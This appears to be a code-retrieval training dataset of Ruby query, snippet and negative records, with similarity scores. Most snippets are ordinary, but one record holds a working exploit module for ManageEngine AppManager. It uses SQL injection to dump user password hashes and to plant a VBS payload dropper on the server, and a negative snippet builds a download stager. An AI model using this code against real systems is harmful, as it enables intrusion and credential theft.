[ "0.6872777", "0.64641714", "0.6334617", "0.6242679", "0.619676", "0.61784583", "0.61493564", "0.6146065", "0.6132874", "0.61182934", "0.61137354", "0.60494244", "0.6044358", "0.60419464", "0.5992643", "0.5986732", "0.5986732", "0.59436536", "0.58999956", "0.5884765", "0.58627...
0.0
-1
Iterates through all of the model's indexed documents and deletes any for which no counterpart exists in the database. This is very expensive and ideally it should never have to be used.
def delete_orphaned_documents class_ = name.constantize # Get the document count. relation = search count = relation.count progress = Progress.new(count) index = 0 num_deleted = 0 relation.each_id_in_batches do |id| unless class_.exists?(id: to_model_id(id)) class_.delete_document(id) num_deleted += 1 end index += 1 progress.report(index, "Deleting orphaned documents") end puts "\nDeleted #{num_deleted} documents" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_from_index\n begin\n __elasticsearch__.delete_document\n rescue Elasticsearch::Transport::Transport::Errors::NotFound\n nil\n end\n\n index_dependent_models.map(&:update_in_index)\n end", "def remove_indexes(models = ::Mongoid.models)\n models.each do |model...
[ "0.73813486", "0.710216", "0.6985876", "0.69139147", "0.6867081", "0.6845587", "0.68105596", "0.6777101", "0.6712296", "0.66888297", "0.6632032", "0.6590071", "0.65861154", "0.6551862", "0.65484494", "0.6508819", "0.65066814", "0.64647835", "0.64190495", "0.63874674", "0.6320...
0.67924154
7
input is a nested array output is an array of strings algo is to create empty array, iterate through input adding x number of strings to array
def buy_fruit(array) returner = [] array.each{|subarray| subarray[1].times{returner << subarray[0]}} returner end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initiate_nested_array(n)\n nested_array = []\n n.times do\n nested_array << (' ' * n).split('')\n end\n\n nested_array\nend", "def virus(array_input)\n new_array = [ ]\n number_of_loops = array_input.length\n index = array_input.length - 1\n\n number_of_loops.times do \n new_array << array_inpu...
[ "0.67205137", "0.6444096", "0.6442528", "0.63721406", "0.6255308", "0.6249212", "0.61839813", "0.6150769", "0.6125925", "0.6083866", "0.6069485", "0.6041016", "0.59955895", "0.59783876", "0.5967624", "0.596266", "0.59558403", "0.5938056", "0.5936576", "0.5916104", "0.5891433"...
0.580869
25
Use callbacks to share common setup or constraints between actions.
def set_slate @slate = Slate.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_...
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576"...
0.0
-1
Only allow a trusted parameter "white list" through.
def slate_params # params.fetch(:slate, {}).permit(:name, :election_cycle) # alternate ejemplo # params.require(:slate).permit(:name, :election_cycle) params.require(:slate).permit! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", ...
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.638045...
0.0
-1
=> Code Snippet pour une nouvelle QD
def snippet_for_qd "[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def snippet_for_new_qdf\n snippet_for_new_qd\n end", "def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end", "def q\n self\n end", "def qv\n end", "def q(t)\n \n end", "def odk_code\n \"q#{id}\"\n end", "def ...
[ "0.73672616", "0.7219648", "0.652518", "0.6443565", "0.63217336", "0.61404216", "0.61404216", "0.60299826", "0.59905493", "0.59770185", "0.5864629", "0.5861694", "0.58289343", "0.58143896", "0.57835317", "0.5776795", "0.5757913", "0.5757361", "0.5740752", "0.57097214", "0.569...
0.7392762
0
=> Code Snippet pour une nouvelle QD/RD
def snippet_for_new type self.send("snippet_for_new_#{type}".to_sym) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end", "def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[ta...
[ "0.74715817", "0.70374256", "0.6964121", "0.6889526", "0.66034794", "0.583747", "0.58078307", "0.58078307", "0.57400125", "0.5622569", "0.56074256", "0.56029886", "0.5596417", "0.5559512", "0.55365485", "0.5504358", "0.54642916", "0.5455562", "0.5450385", "0.543834", "0.54383...
0.0
-1
=> Code Snippet pour une QDF
def snippet_for_new_qdf snippet_for_new_qd end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end", "def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end", "def qv\n end", "def to_Qdl\n gsub /\\\"/,\"'\"\n end", "def q(t)\n \n end"...
[ "0.7349451", "0.6751167", "0.6293761", "0.6153517", "0.59432757", "0.58148974", "0.5756038", "0.5756038", "0.5674801", "0.5646959", "0.56406647", "0.55962294", "0.55848527", "0.5569242", "0.5561918", "0.5547994", "0.54924875", "0.54858667", "0.54858667", "0.5419462", "0.54131...
0.71592
1
=> Code Snippet pour une RDF
def snippet_for_new_rdf snippet_for_new_rd end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rdf\n @rdf_data.join(\"\\n\")\n end", "def to_rdf()\n rdf = \"<rdf:Statement>\"\n rdf << write_subject()\n rdf << \" <rdf:predicate rdf:resource=\\\"#{@predicate}\\\"/>\"\n rdf << write_object()\n rdf << \"</rdf:Statement>\"\n return rdf \n ...
[ "0.63998115", "0.63864666", "0.6339132", "0.6199467", "0.61891854", "0.5991215", "0.5990974", "0.5989795", "0.5977827", "0.5971683", "0.5959784", "0.5950467", "0.5881883", "0.5855227", "0.5820095", "0.5818624", "0.58013326", "0.578622", "0.5785642", "0.57753694", "0.5741763",...
0.7348503
0
=> Code Snippet pour une nouvelle QD
def snippet_for_new_qd "QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end", "def snippet_for_new_qdf\n snippet_for_new_qd\n end", "def q\n self\n end", "def qv\n end", "def q(t)\n \n end", "def odk_code\n \"q#{id}\"\n end", "def odk_code\n ...
[ "0.7392762", "0.73672616", "0.652518", "0.6443565", "0.63217336", "0.61404216", "0.61404216", "0.60299826", "0.59905493", "0.59770185", "0.5864629", "0.5861694", "0.58289343", "0.58143896", "0.57835317", "0.5776795", "0.5757913", "0.5757361", "0.5740752", "0.57097214", "0.569...
0.7219648
2
=> Code Snippet pour une nouvelle RD
def snippet_for_new_rd qd_id = select_qd_without_rd horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop type_reponse = select_type_reponse_rd while type_reponse.match(/\[tab_stop\]/) type_reponse.sub!(/\[tab_stop\]/, "\${#{Snippet::next_tab}:TEXTE}") end sn = "" sn << "RD##{Objet::next_id_of_type 'RD'}: " sn << horloge sn << "[QD##{qd_id}] " sn << "#{type_reponse}" sn << " $0" return sn end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def snippet_for_new_rdf\n snippet_for_new_rd\n end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def main_description; end", "def docstring; end", "def docstring; end", "def description_and_code\n \"#{self....
[ "0.63468444", "0.62678313", "0.62678313", "0.62678313", "0.62678313", "0.62678313", "0.62678313", "0.62678313", "0.6130195", "0.60693324", "0.60693324", "0.6050456", "0.6000919", "0.5992267", "0.5965902", "0.5945546", "0.58924663", "0.58780944", "0.5859797", "0.5847473", "0.5...
0.69778496
0
Retourne l'identifiant de la QD choisie
def select_qd_without_rd qds = hash_qds true if qds.empty? Snippet::alert "Aucune QD n'est sans réponse dans ce fichier…", "Il faut définir une QD avant de définir sa RD." else items_string = qds.collect do |dqd| dqd[:qd].gsub!(/\"/,"\\\""); "\"#{dqd[:qd]}\"" end.join(' ') args = [ 'dropdown', '--title "Choix de la QD"', '--text "Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)"', '--exit-onchange', # -> se ferme après le choix '--button1 "Choisir cette QD"', '--button3 "Renoncer"', '--items ' + items_string, '2>/dev/null' ] cmd = "#{cocoaD} #{args.join(' ')}" u_reponse = %x{#{cmd}} btn_name, user_choix = u_reponse.split("\n") return nil if btn_name.to_i == 3 qds[user_choix.to_i][:id] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def identifier_value\n DEFAULT_QUESTIONNAIRE_ID\n end", "def option_number\n pricing_db_hp_support_option.option_number\n end", "def choice\n @choice\n end", "def answer_id answer\n answer.id || \"V#{answer.answer.id}\"\n end", "def getIdFromString(option)\n str = option.sp...
[ "0.6541679", "0.60429424", "0.58462596", "0.5812924", "0.5802944", "0.5776858", "0.5744902", "0.5704326", "0.56972706", "0.5696809", "0.56900865", "0.5642818", "0.5625298", "0.5621794", "0.5597857", "0.55970126", "0.55760807", "0.5554164", "0.5517884", "0.5495366", "0.5490952...
0.60702175
1
=> Retourne la liste des identifiants de Qd ou Rd
def list_ids type balise = (type == :qd) ? "QD" : "RD" Snippet::input.scan(/#{balise}\#([0-9]+)\:/).to_a.collect do |found| found[0] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n whe...
[ "0.6311634", "0.6220099", "0.6102618", "0.59303236", "0.592945", "0.5901439", "0.5884832", "0.5879168", "0.5840084", "0.57775617", "0.57571286", "0.5750564", "0.5746206", "0.56794184", "0.5665262", "0.5663401", "0.56351745", "0.56289357", "0.56283665", "0.56073993", "0.560638...
0.6084776
3
def index if params[:tag]
def new @question = Question.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tag_param\n if request.params[\"tag\"].present?\n text = \"Searching by tag: #{request.params[\"tag\"].titleize}\" \n link_to text, \"\", :class => \"label label-important\"\n elsif request.params[\"search\"].present?\n text = \"Searching for: #{request.params[\"search\"].titleize}\" \n ...
[ "0.7405819", "0.7246637", "0.7220121", "0.71673876", "0.70984054", "0.7066891", "0.7061992", "0.7021258", "0.69659466", "0.69412416", "0.6908443", "0.6790451", "0.67530656", "0.67470604", "0.6737189", "0.67277986", "0.6694082", "0.6688087", "0.6687688", "0.6672699", "0.661799...
0.0
-1
the partial to render, required for custom types
def partial "/otus/page/gmap" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def render_partial(context, options, &block); end", "def show_partial\n Partial\n end", "def partial; end", "def partial; end", "def partial; end", "def partial; end", "def render_partial(*ignore_args); end", "def partial?; end", "def partial?\n @type == :partial\n end", "def render_...
[ "0.74059415", "0.72234726", "0.7050912", "0.7050912", "0.7050912", "0.7050912", "0.703557", "0.69546777", "0.66500354", "0.65945995", "0.64815503", "0.64734304", "0.64188", "0.6398751", "0.63502747", "0.6310277", "0.6265314", "0.6241855", "0.6230188", "0.6214689", "0.62106943...
0.0
-1
Check exploit vulnerability basically // 'Appears' more convenient
def check res = inject(Rex::Text.rand_text_alpha(1)) if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/ Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def exploit\n end", "def check\n return Exploit::CheckCode::Vulnerable\n end", "def check\n\t\treturn Exploit::CheckCode::Vulnerable\n\tend", "def single_exploit\n end", "def brute_exploit(addrs)\n end", "def check\r\n # Find a valid CGI target\r\n target_uri = find_target_cgi\r\n unless ...
[ "0.7581666", "0.7476839", "0.72725254", "0.7067437", "0.66398966", "0.66200596", "0.6374785", "0.6349748", "0.6274493", "0.6263017", "0.6226422", "0.61914456", "0.6155325", "0.6137533", "0.6126903", "0.6105171", "0.60800624", "0.60610825", "0.6008244", "0.59870476", "0.597165...
0.60332924
18
VBS payload and Post Data preparation
def get_payload handler payload = generate_payload_exe @vbs_content = Msf::Util::EXE.to_exe_vbs(payload) ## determining the target directory if target.name == 'AppManager 14' tfile = "AppManager14" elsif target.name == 'AppManager 13' tfile = "AppManager13" elsif target.name == 'AppManager 12' tfile = "AppManager12" elsif target.name == 'AppManager 11' tfile = "AppManager11" end fhashes = Rex::Text.rand_text_alpha_lower(8) + ".txt" ## parameters required to read the user table hashes = "sid=1;copy+(select+username,password+from+AM_UserPasswordTable)+to+$$" hashes << "c:\\Program+Files+(x86)\\ManageEngine\\" hashes << "#{tfile}" hashes << "\\working\\" hashes << "#{fhashes}" hashes << "$$;--" res = inject("#{hashes}") if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/ print_good("Users in the database were taken...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "#{fhashes}") # users file url }) if res.code == "404" fail_with(Failure::Unreachable, 'The database could not be read!') else print_status("--------------------Usernames and Passwords---------------------") puts res.body # users table output print_status("----------------------------------------------------------------") end else fail_with(Failure::Unreachable, 'Connection error occurred!') end ## fetch base64 part in vbs payload pb64 = @vbs_content.split('" Dim')[0].split(' = "')[2] ## vbs file in one line vbs_file = 'On Error Resume Next:Set objWbemLocator = CreateObject("WbemScripting.SWbemLocator"):' vbs_file << 'if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description:End If:O' vbs_file << 'n Error GoTo 0:On Error Resume Next:Select Case WScript.Arguments.Count:Case 2:strCo' vbs_file << 'mputer = Wscript.Arguments(0):strQuery = Wscript.Arguments(1):Set wbemServices = obj' vbs_file << 'WbemLocator.ConnectServer (strComputer,"Root\\CIMV2"):Case 4:strComputer = Wscript.A' vbs_file << 'rguments(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):st' vbs_file << 'rQuery = Wscript.Arguments(3):Set wbemServices = objWbemLocator.ConnectServer (strCo' vbs_file << 'mputer,"Root\\CIMV2",strUsername,strPassword):case 6:strComputer = Wscript.Arguments' vbs_file << '(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):strQuery =' vbs_file << ' Wscript.Arguments(4):namespace = Wscript.Arguments(5):Set wbemServices = objWbemLoca' vbs_file << 'tor.ConnectServer (strComputer,namespace,strUsername,strPassword):Case Else:strMsg =' vbs_file << ' "Error # in parameters passed":WScript.Echo strMsg:WScript.Quit(0):End Select:Set w' vbs_file << 'bemServices = objWbemLocator.ConnectServer (strComputer, namespace, strUsername, str' vbs_file << 'Password):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Descriptio' vbs_file << 'n:End If:On Error GoTo 0:On Error Resume Next:Set colItems = wbemServices.ExecQuery(s' vbs_file << 'trQuery):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description' vbs_file << ':End If:On Error GoTo 0:i=0:For Each objItem in colItems:if i=0 then:header = "":For ' vbs_file << 'Each param in objItem.Properties_:header = header & param.Name & vbTab:Next:WScript.E' vbs_file << 'cho header:i=1:end if:serviceData = "":For Each param in objItem.Properties_:serviceD' vbs_file << 'ata = serviceData & param.Value & vbTab:Next:WScript.Echo serviceData:Next:Function b' vbs_file << 'PBdVfYpfCEHF(hBPVZMitxq):HHgwqsqii = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-m' vbs_file << 'icrosoft-com:datatypes" & Chr(34) & " " & "dt:dt=" & Chr(34) & "bin.base64" & Chr(34)' vbs_file << ' & ">" & hBPVZMitxq & "</B64DECODE>":Set TInPBSeVlL = CreateObject("MSXML2.DOMDocument' vbs_file << '.3.0"):TInPBSeVlL.LoadXML(HHgwqsqii):bPBdVfYpfCEHF = TInPBSeVlL.selectsinglenode("B64D' vbs_file << 'ECODE").nodeTypedValue:set TInPBSeVlL = nothing:End Function:Function txhYXYJJl():Emkf' vbs_file << 'dMDdusgGha = "' vbs_file << "#{pb64}" vbs_file << '":Dim CCEUdwNSS:Set CCEUdwNSS = CreateObject("Scripting.FileSystemObject"):Dim zhgqIZn' vbs_file << 'K:Dim gnnTqZvAcL:Set zhgqIZnK = CCEUdwNSS.GetSpecialFolder(2):gnnTqZvAcL = zhgqIZnK & ' vbs_file << '"\" & CCEUdwNSS.GetTempName():CCEUdwNSS.CreateFolder(gnnTqZvAcL):yZUoLXnPic = gnnTqZvAc' vbs_file << 'L & "\" & "SAEeVSXQVkDEIG.exe":Dim mEciydMZTsoBmAo:Set mEciydMZTsoBmAo = CreateObject("' vbs_file << 'Wscript.Shell"):LXbjZKnEQUfaS = bPBdVfYpfCEHF(EmkfdMDdusgGha):Set TUCiiidRgJQdxTl = Cre' vbs_file << 'ateObject("ADODB.Stream"):TUCiiidRgJQdxTl.Type = 1:TUCiiidRgJQdxTl.Open:TUCiiidRgJQdxT' vbs_file << 'l.Write LXbjZKnEQUfaS:TUCiiidRgJQdxTl.SaveToFile yZUoLXnPic, 2:mEciydMZTsoBmAo.run yZU' vbs_file << 'oLXnPic, 0, true:CCEUdwNSS.DeleteFile(yZUoLXnPic):CCEUdwNSS.DeleteFolder(gnnTqZvAcL):E' vbs_file << 'nd Function:txhYXYJJl:WScript.Quit(0)' ## encode the vbs file to base64 and then encode the url-hex encoding_vbs = Rex::Text.uri_encode(Rex::Text.encode_base64(vbs_file), 'hex-all') ## post preparation // creating and writing files on the server with SQLi vbs_payload = "sid=1;copy+(select+convert_from(decode($$#{encoding_vbs}$$,$$base64$$)" vbs_payload << ",$$utf-8$$))+to+$$C:\\\\Program+Files+(x86)\\\\ManageEngine\\\\" vbs_payload << "#{tfile}" vbs_payload << "\\\\working\\\\conf\\\\application\\\\scripts\\\\wmiget.vbs$$;" res = inject("#{vbs_payload}") if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/ print_good("The harmful .vbs file was successfully written to the server.") print_status("Keep in mind! You may have to wait between 10-300 seconds for the shell session.") else fail_with(Failure::Unreachable, 'Connection error occurred!') end return payload end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_vbs(url, payload_name, stager_name)\r\n\t\tname_xmlhttp = rand_text_alpha(2)\r\n\t\tname_adodb = rand_text_alpha(2)\r\n\r\n\t\ttmp = \"#{@temp_folder}/#{stager_name}\"\r\n\r\n\t\tvbs = \"echo Set #{name_xmlhttp} = CreateObject(\\\"\\\"Microsoft.XMLHTTP\\\"\\\") \"\r\n\t\tvbs << \": #{name_xmlhttp}.ope...
[ "0.63305825", "0.5805784", "0.57444984", "0.5621189", "0.5532408", "0.5529648", "0.5508981", "0.5500931", "0.5466006", "0.5445682", "0.53997624", "0.5381502", "0.533078", "0.5298314", "0.52878666", "0.5178731", "0.5141616", "0.51032495", "0.5102343", "0.5099219", "0.50991964"...
0.6072732
1
GET /bookings GET /bookings.json
def index @bookings = Booking.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n ...
[ "0.8231102", "0.80365145", "0.80220497", "0.80220497", "0.80220497", "0.7619097", "0.7607287", "0.7501954", "0.7437335", "0.74355394", "0.736671", "0.73389894", "0.73331183", "0.73266363", "0.73217666", "0.72310644", "0.7227939", "0.71933675", "0.71933675", "0.71933675", "0.7...
0.7473071
20
GET /bookings/1 GET /bookings/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |f...
[ "0.7792227", "0.76486146", "0.76486146", "0.76486146", "0.7639873", "0.76036", "0.75728196", "0.73642766", "0.73642766", "0.73642766", "0.73642766", "0.7240851", "0.72076625", "0.72076625", "0.72076625", "0.72076625", "0.72076625", "0.72076625", "0.72076625", "0.72076625", "0...
0.0
-1
POST /bookings POST /bookings.json
def create @booking = Booking.new(booking_params) @booking.price = @booking.calculate_price(params[:booking][:hours].to_i) @booking.save create_booking_job_instances_from_array(save_jobs, @booking) if user_signed_in? @user = User.find(current_user.id) @booking.user = @user Mailer.new_booking(@user, @booking).deliver else @user = @booking.build_user(user_params[:user]) # stripe_user_object = User.create_stripe_user(params[:stripeToken], @user.name) # @user.stripe_id = stripe_user_object.id @user.password = Devise.friendly_token.first(8) @user.save Mailer.welcome(@user, @booking).deliver end # CHARGE THE CARD # begin # charge = Stripe::Charge.create( # :amount => @booking.price, # amount in cents, again # :currency => "usd", # :customer => @user.stripe_id, # ) # rescue Stripe::CardError => e # # The card has been declined # end respond_to do |format| if @booking.save sign_in(:user, @user) format.html { redirect_to user_url, notice: 'Booking was saved! Check your email for confirmation.' } else format.html { render action: 'new' } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n booking = Booking.create(booking_params)\n render json: booking\n end", "def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_i...
[ "0.7353111", "0.7228384", "0.68615675", "0.6782987", "0.6782987", "0.67671645", "0.6642527", "0.66402507", "0.6624695", "0.65151906", "0.6509862", "0.6509862", "0.6509862", "0.64893967", "0.6432859", "0.6378296", "0.634707", "0.63245595", "0.6297444", "0.62888706", "0.6278033...
0.0
-1
PATCH/PUT /bookings/1 PATCH/PUT /bookings/1.json
def update respond_to do |format| if @booking.update(booking_params) format.html { redirect_to @booking, notice: 'Booking was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @booking.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @booking = Booking.find(params[:id])\n\n if @booking.update(booking_params)\n head :no_content\n else\n render json: @booking.errors, status: :unprocessable_entity\n end\n end", "def update\n @booking = Booking.find(params[:id])\n @booking.update_attributes(params[:booki...
[ "0.70660025", "0.7035505", "0.6951961", "0.69296867", "0.69296867", "0.69296867", "0.6925516", "0.68727815", "0.67891777", "0.6737531", "0.67097384", "0.66782904", "0.66559863", "0.66393423", "0.66337067", "0.6626812", "0.6624749", "0.6619827", "0.66093636", "0.66093636", "0....
0.66938263
13
DELETE /bookings/1 DELETE /bookings/1.json
def destroy @booking.destroy respond_to do |format| format.html { redirect_to bookings_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |fo...
[ "0.7661001", "0.7661001", "0.7661001", "0.7661001", "0.76578903", "0.7566007", "0.73963106", "0.7360352", "0.7360352", "0.7291433", "0.72711855", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", "0.7249009", ...
0.75501525
7
Use callbacks to share common setup or constraints between actions.
def set_booking @booking = Booking.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_...
[ "0.6163443", "0.604317", "0.5943409", "0.59143174", "0.5887026", "0.58335453", "0.57738566", "0.5701527", "0.5701527", "0.56534666", "0.5618685", "0.54237175", "0.5407991", "0.5407991", "0.5407991", "0.5394463", "0.5376582", "0.5355932", "0.53376216", "0.5337122", "0.5329516"...
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def booking_params params.require(:booking).permit(:time, :needs_supplies, :hours, :price) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n...
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076",...
0.0
-1
returns true or false to indicate the tags have changed
def annotate_with(annotations, attr = 'tag', owner = User.current_user, user_owned_only = false) if annotations.is_a?(String) annotations = annotations.split(',').map(&:strip).uniq elsif annotations.is_a?(Array) annotations = annotations.map(&:strip).uniq else annotations = [] end potential_values = Array(annotations).uniq(&:downcase).compact existing = send("#{attr}_annotations") params = {} param_index = 0 any_deletes = false duplicates = [] existing.each do |ann| if user_owned_only && ann.source != owner params[(param_index += 1).to_s] = { id: ann.id } elsif ann.persisted? index = potential_values.index { |v| v.casecmp(ann.value_content) == 0 } if index duplicates << index params[(param_index += 1).to_s] = { id: ann.id } else any_deletes = true params[(param_index += 1).to_s] = { id: ann.id, _destroy: true } end end end potential_values.delete_if.with_index { |_, i| duplicates.include?(i) } potential_values.each do |value| # Annotation model can take either a String or an AR object as the value text_value = TextValue.where('lower(text) = ?', value.downcase).first || value params[(param_index += 1).to_s] = { source_type: owner.class.name, source_id: owner.id, attribute_name: attr, value: text_value } end send("#{attr}_annotations").reset # Clear any previously assigned, but unsaved annotations send("#{attr}_annotations_attributes=", params) potential_values.any? || any_deletes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def changed? tag=false\n if tag\n @changed_values.include? tag\n else\n !@changed_values.empty?\n end\n end", "def tags_have_changed?(opp)\n checksum = attribute_checksum(opp, 'tags')\n existing = existing_tag_checksum(opp)\n \n if existing != checksum\n set_bot_metadata(opp,...
[ "0.75580776", "0.74404347", "0.74161595", "0.74161595", "0.72288215", "0.7125686", "0.6742202", "0.66686857", "0.6588479", "0.657814", "0.65663326", "0.6554407", "0.6544658", "0.65437794", "0.6538345", "0.65304554", "0.6525919", "0.6489608", "0.64612836", "0.6422434", "0.6418...
0.0
-1
create the splash screen
def makeSplash clearScreen splash = ConsoleSplash.new(15,70) splash.write_header("Welcome to Sokoban","Ben Cornforth","Alpha Build, November 2015",{:nameFg=>:green,:authorFg=>:green, :versionFg=>:green, :bg=>:black}) splash.write_horizontal_pattern("/*",{:fg=>:white, :bg=>:black}) splash.write_vertical_pattern("/",{:fg=>:orange, :bg=>:black}) splash.splash if pressKey != '' menuScreen end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_splash\n # Clear the console\n puts \"\\e[H\\e[2J\" \n \n # Create a new splash object \n splash = ConsoleSplash.new(13, 40) # 13 lines, 40 columns\n \n # Add header to the splash console\n splash.write_header(\"Welcome to Flood-It\", \"Georgica Bors\", \"1.0\")\n \n # Add text to the splash co...
[ "0.74522036", "0.7400914", "0.73734385", "0.7195702", "0.70641184", "0.68864214", "0.6719047", "0.66990846", "0.66406673", "0.6425671", "0.62789845", "0.6159664", "0.6134156", "0.6069183", "0.60490006", "0.5876578", "0.57983047", "0.5781068", "0.5745225", "0.5740454", "0.5727...
0.7615542
0
use this method to create a fresh canvas
def clearScreen puts "\e[H\e[2J" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def newCanvas\n @layerArray = Array.new #Reset the layer array\n @imageArray = Array.new #Reset the image array\n @dirtyArray = Array.new #Reset the dirty array\n @activeIndex = 0 #Reset the active index\n @exportImage = FXPNGImage.new(@parentApp, nil, @canva...
